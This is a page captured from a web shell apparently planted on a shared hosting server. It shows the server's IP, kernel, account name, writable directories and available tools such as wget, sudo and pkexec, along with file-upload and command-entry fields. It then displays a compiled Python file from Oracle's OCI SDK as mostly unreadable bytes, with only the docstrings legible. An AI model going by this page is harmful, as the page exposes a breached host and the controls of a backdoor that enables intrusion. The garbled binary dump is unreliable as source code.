403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/oci/usage_api/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/oci/usage_api/usageapi_client_composite_operations.pyc
a

O��f�#�@s(ddlZddlmZGdd�de�ZdS)�N)�WAIT_RESOURCE_NOT_FOUNDc@sHeZdZdZdd�Zgiifdd�Zgiifdd�Zgiifdd	�Zd
S)�!UsageapiClientCompositeOperationsa�
    This class provides a wrapper around :py:class:`~oci.usage_api.UsageapiClient` and offers convenience methods
    for operations that would otherwise need to be chained together. For example, instead of performing an action
    on a resource (e.g. launching an instance, creating a load balancer) and then using a waiter to wait for the resource
    to enter a given state, you can call a single method in this class to accomplish the same functionality
    cKs
||_dS)z�
        Creates a new UsageapiClientCompositeOperations object

        :param UsageapiClient client:
            The service client which will be wrapped by this object
        N)�client)�selfr�kwargs�r��/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/oci/usage_api/usageapi_client_composite_operations.py�__init__sz*UsageapiClientCompositeOperations.__init__c

s�|jj|fi|��}|s|Sdd�|D��|jj}z4tj|j|j�|�fd�fdd�i|��}|}|WSttfy�}	z6|	j	s�d|	_	|	j	d|	_	tj
j|g|	d��WYd	}	~	n>d	}	~	0ty�}	ztj
j|g|	d��WYd	}	~	n
d	}	~	00d	S)
a�
        Calls :py:func:`~oci.usage_api.UsageapiClient.create_schedule` and waits for the :py:class:`~oci.usage_api.models.Schedule` acted upon
        to enter the given state(s).

        :param oci.usage_api.models.CreateScheduleDetails create_schedule_details: (required)
            New schedule details.

        :param list[str] wait_for_states:
            An array of states to wait on. These should be valid values for :py:attr:`~oci.usage_api.models.Schedule.lifecycle_state`

        :param dict operation_kwargs:
            A dictionary of keyword arguments to pass to :py:func:`~oci.usage_api.UsageapiClient.create_schedule`

        :param dict waiter_kwargs:
            A dictionary of keyword arguments to pass to the :py:func:`oci.wait_until` function. For example, you could pass ``max_interval_seconds`` or ``max_interval_seconds``
            as dictionary keys to modify how long the waiter function will wait between retries and the maximum amount of time it will wait
        cSsg|]}|���qSr��lower��.0�wrrr�
<listcomp>0�zXUsageapiClientCompositeOperations.create_schedule_and_wait_for_state.<locals>.<listcomp>�evaluate_responsecs t|jd�ot|jd����vS�N�lifecycle_state��getattr�datar��r��lowered_wait_for_statesrr�<lambda>7rzVUsageapiClientCompositeOperations.create_schedule_and_wait_for_state.<locals>.<lambda>���aThis composite operation is currently not supported in the SDK. Please use the operation from the service client and use waiters as an alternative. For more information on waiters, visit: "https://docs.oracle.com/en-us/iaas/tools/python/latest/api/waiters.html"��partial_results�causeN)
r�create_scheduler�id�oci�
wait_until�get_schedule�	NameError�	TypeError�args�
exceptions�CompositeOperationError�	Exception)
r�create_schedule_details�wait_for_states�operation_kwargs�
waiter_kwargs�operation_result�schedule_id�
waiter_result�result_to_return�errr�"create_schedule_and_wait_for_states.
�
��&zDUsageapiClientCompositeOperations.create_schedule_and_wait_for_statec

sD|j�|�}d}z|jj|fi|��}WnFtjjyn}z*|jdkrVtWYd}~S|�WYd}~n
d}~00|sx|Sdd�|D��z.tj|j|f�fdd�dd�|��}|}	|	WSt	t
f�y}z6|js�d	|_|jd
|_tjj|g|d��WYd}~n@d}~0t
�y>}ztjj|g|d��WYd}~n
d}~00dS)a�
        Calls :py:func:`~oci.usage_api.UsageapiClient.delete_schedule` and waits for the :py:class:`~oci.usage_api.models.Schedule` acted upon
        to enter the given state(s).

        :param str schedule_id: (required)
            The schedule unique OCID.

        :param list[str] wait_for_states:
            An array of states to wait on. These should be valid values for :py:attr:`~oci.usage_api.models.Schedule.lifecycle_state`

        :param dict operation_kwargs:
            A dictionary of keyword arguments to pass to :py:func:`~oci.usage_api.UsageapiClient.delete_schedule`

        :param dict waiter_kwargs:
            A dictionary of keyword arguments to pass to the :py:func:`oci.wait_until` function. For example, you could pass ``max_interval_seconds`` or ``max_interval_seconds``
            as dictionary keys to modify how long the waiter function will wait between retries and the maximum amount of time it will wait
        Ni�cSsg|]}|���qSrr
rrrrrdrzXUsageapiClientCompositeOperations.delete_schedule_and_wait_for_state.<locals>.<listcomp>cs t|jd�ot|jd����vSrrrrrrrjrzVUsageapiClientCompositeOperations.delete_schedule_and_wait_for_state.<locals>.<lambda>T)r�succeed_on_not_foundrrr)rr&�delete_scheduler$r*�ServiceError�statusrr%r'r(r)r+r,)
rr2r.r/r0�initial_get_resultr1r5r3r4rrr�"delete_schedule_and_wait_for_stateEs<
�
��&zDUsageapiClientCompositeOperations.delete_schedule_and_wait_for_statec

s�|jj||fi|��}|s|Sdd�|D��|jj}z4tj|j|j�|�fd�fdd�i|��}|}|WSttfy�}	z6|	j	s�d|	_	|	j	d|	_	tj
j|g|	d��WYd	}	~	n>d	}	~	0ty�}	ztj
j|g|	d��WYd	}	~	n
d	}	~	00d	S)
ab
        Calls :py:func:`~oci.usage_api.UsageapiClient.update_schedule` and waits for the :py:class:`~oci.usage_api.models.Schedule` acted upon
        to enter the given state(s).

        :param oci.usage_api.models.UpdateScheduleDetails update_schedule_details: (required)
            The information to be updated. Currently supports only tags

        :param str schedule_id: (required)
            The schedule unique OCID.

        :param list[str] wait_for_states:
            An array of states to wait on. These should be valid values for :py:attr:`~oci.usage_api.models.Schedule.lifecycle_state`

        :param dict operation_kwargs:
            A dictionary of keyword arguments to pass to :py:func:`~oci.usage_api.UsageapiClient.update_schedule`

        :param dict waiter_kwargs:
            A dictionary of keyword arguments to pass to the :py:func:`oci.wait_until` function. For example, you could pass ``max_interval_seconds`` or ``max_interval_seconds``
            as dictionary keys to modify how long the waiter function will wait between retries and the maximum amount of time it will wait
        cSsg|]}|���qSrr
rrrrr�rzXUsageapiClientCompositeOperations.update_schedule_and_wait_for_state.<locals>.<listcomp>rcs t|jd�ot|jd����vSrrrrrrr�rzVUsageapiClientCompositeOperations.update_schedule_and_wait_for_state.<locals>.<lambda>rrrN)
r�update_schedulerr#r$r%r&r'r(r)r*r+r,)
r�update_schedule_detailsr2r.r/r0r1r3r4r5rrr�"update_schedule_and_wait_for_stateys.
�
��&zDUsageapiClientCompositeOperations.update_schedule_and_wait_for_stateN)�__name__�
__module__�__qualname__�__doc__r	r6r<r?rrrrr	s
	+4r)r$�oci.utilr�objectrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit